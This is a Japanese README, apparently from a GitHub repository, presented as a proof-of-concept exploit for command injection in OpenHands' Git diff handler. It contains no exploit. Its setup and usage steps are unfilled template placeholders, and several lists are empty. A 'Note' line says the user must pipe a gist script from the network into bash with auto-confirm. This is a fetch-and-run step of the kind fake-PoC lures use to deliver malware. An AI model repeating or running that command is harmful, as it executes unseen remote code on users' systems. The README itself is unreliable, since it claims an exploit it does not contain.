horkimhab/cve-2026-33718CVE-2026-33718 の概念実証エクスプロイト。OpenHands の Git Diff Handler におけるコマンドインジェクションを実証します。脆弱性研究およびラボ実践のための教育用リソースです。
OpenHandsは、Git Diffハンドラーを通じたコマンドインジェクションに対して脆弱です
PayPalでの寄付、または下記のQRコードのスキャンにより、このプロジェクトのメンテナンスを支援してください。
このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください：
セットアップ例：
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
使用例：
# Install dependencies
<install-command>
# Run the project
<run-command>
# Replace the commands above with your actual project setup steps.
注記：
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y を実行する必要があります管理された環境でサイバーセキュリティの概念を学習、テスト、研究するためのリポジトリです。
このリポジトリは、教育および許可されたセキュリティ研究のみを目的としています。
ユーザーが以下について学ぶことを目的として設計されています：
このリポジトリは、許可を得た環境でのみ使用してください。例：
許可されていない使用や違法な使用は固く禁止されています。
著者および貢献者は、このプロジェクトによって引き起こされたいかなる損害、誤用、法的問題、または損失についても責任を負いません。
このリポジトリを使用することにより、以下に同意したものとみなされます：
このプロジェクトは以下の用途を意図しています：
責任ある開示の慣行に従い、適用されるすべての法律を遵守してください。
責任ある開示やコラボレーションについては、GitHubを通じてリポジトリのメンテナーにお問い合わせください。